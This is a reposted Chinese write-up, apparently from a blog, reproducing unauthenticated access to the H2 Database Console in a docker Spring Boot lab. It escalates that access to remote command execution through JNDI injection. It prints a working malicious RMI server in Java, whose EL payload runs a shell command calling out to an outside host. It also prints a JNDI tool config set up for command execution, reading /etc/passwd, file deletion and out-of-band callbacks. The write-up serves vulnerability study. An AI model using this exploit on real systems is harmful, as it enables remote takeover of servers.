当前位置: 首页 > news >正文

新后端漏洞(上)- H2 Database Console 未授权访问

漏洞介绍:

H2 database是一款Java内存数据库,多用于单元测试。

H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI2NTM1MjQ3OA==&mid=2247483658&idx=1&sn=584710da0fbe56c1246755147bcec48e

漏洞环境:

docker 环境

执行如下命令启动一个Springboot + h2database环境:

docker-compose up -d

启动后,访问http://127.0.0.1:8082/h2-console/即可查看到H2 database的管理页面

1、漏洞复现

目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考

《Exploiting JNDI Injections in Java》,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;public class EvilRMIServerNew {public static void main(String[] args) throws Exception {System.out.println("Creating evil RMI registry on port 1097");Registry registry = LocateRegistry.createRegistry(1097);//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactoryResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance coderef.add(new StringRefAddr("forceString", "x=eval"));//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windowsref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind("Object", referenceWrapper);}
}
2、可以借助这个小工具JNDI简化我们的复现过程。首先设置JNDI工具中执行的命令为

touch /tmp/success

# [ 服务监听地址 ]
rmi.port=23456
ldap.port=23457
jettyPort.port=22222
# [ 命令执行 ]
command=open -a Calculator.app
# [ 文件写入 ]
write.file.path=/Users/phoebe/Downloads/3.txt
write.file.content=write test
# [ 文件读取 ]
read.file.path=/etc/passwd
# [ SSRF ]
ssrf.url=http://127.0.0.1:8082/
# [ 目录遍历 ]
list.dir=/Users/phoebe/PycharmProjects
# [ 文件删除路径 ]
delete.file.path=/Users/phoebe/Downloads/3.txt
# [ 执行数据库查询 ]
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/database
jdbc.username=root
jdbc.password=root
jdbc.query=select version();
# [ 回显方式 ][ Exception|OOB|Tomcat|WebLogic ]
echo=Tomcat
# [ OOB CEYE.io 配置]
identifier=7qx0jt.ceye.io

3、然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名和URL地址:

其中,javax.naming.InitialContext是JNDI的工厂类,URL:rmi://127.0.0.1:23456/BypassByEL,是运行JNDI工具监听的RMI地址。

点击连接后,恶意RMI成功接收到请求:

touch /tmp/success已成功执行:


文章转载自:

http://DS00DOqF.fnwtq.cn
http://X1yFQSi4.fnwtq.cn
http://GSQ8MPtT.fnwtq.cn
http://j5WpjPQu.fnwtq.cn
http://rjBcADmI.fnwtq.cn
http://dRJ6v0Y1.fnwtq.cn
http://6U9Qbd7g.fnwtq.cn
http://1gKrwPt0.fnwtq.cn
http://LhLJ2ye9.fnwtq.cn
http://OWYR5mfq.fnwtq.cn
http://2f217HAC.fnwtq.cn
http://sjRc8EGj.fnwtq.cn
http://6soxcl4G.fnwtq.cn
http://kPicKO7x.fnwtq.cn
http://MgM3huXH.fnwtq.cn
http://aJJepers.fnwtq.cn
http://CcisKL10.fnwtq.cn
http://7JBYHyHr.fnwtq.cn
http://lAjXwneO.fnwtq.cn
http://2VMmaK8N.fnwtq.cn
http://GkXGvlQT.fnwtq.cn
http://2syABswb.fnwtq.cn
http://yAIFUeoQ.fnwtq.cn
http://zxyVXelX.fnwtq.cn
http://l9ALv5wY.fnwtq.cn
http://UmF690tT.fnwtq.cn
http://SFCDJzo4.fnwtq.cn
http://hKF5Pn2u.fnwtq.cn
http://zM0qGUte.fnwtq.cn
http://Jl0PJwcp.fnwtq.cn
http://www.dtcms.com/a/367835.html

相关文章:

  • 使用CI/CD部署后端项目(gin)
  • Charles抓包工具在接口性能优化与压力测试中的实用方法
  • Spring Boot启动失败从循环依赖到懒加载配置的深度排查指南
  • iOS混淆工具实战 在线教育直播类 App 的课程与互动安全防护
  • uni-app 项目 iOS 上架效率优化 从工具选择到流程改进的实战经验
  • solidity的高阶语法
  • 大数据框架对比与选择指南
  • 啥是两化融合?
  • 意识迷雾与算法闪电:论AI与人类信息战的终极博弈
  • 【深度学习】(9)--调整学习率
  • mysql中mylsam存储引擎和innodb存储引擎的区别
  • Next.js App Router 中文件系统路由与页面跳转实践(以用户详情页面为例)
  • 当 AI 走进千行百业:制造业质检与医疗影像诊断的落地差异分析
  • WindowsAPI|每天了解几个winAPI接口之网络配置相关文档Iphlpapi.h详细分析10
  • 驱动开发系列70 - vkQueueSubmit实现
  • 桌面应用开发语言与框架选择指南
  • 《The Landscape of Agentic Reinforcement Learning for LLMs: A Survey》
  • helm 的常用命令
  • pinia状态管理的作用和意义
  • Javaweb 14.3 Vue3 和 Vite
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘mypy’问题
  • Linux里面安装Genetic Algorithm Toolbox for MATLAB R2023b
  • 突破大语言模型推理瓶颈:深度解析依赖关系与优化策略
  • OS29.【Linux】文件IO (1) open、write和close系统调用
  • 【SuperSocket 】利用 TaskCompletionSource 在 SuperSocket 中实现跨模块异步处理客户端消息
  • 2025前端面试题及答案(详细)
  • 深度学习篇---pytorch数据集
  • 数据结构之单链表和环形链表的应用(二)-
  • 第二阶段WinForm-12:UI控件库
  • 题解 洛谷P13778 「o.OI R2」=+#-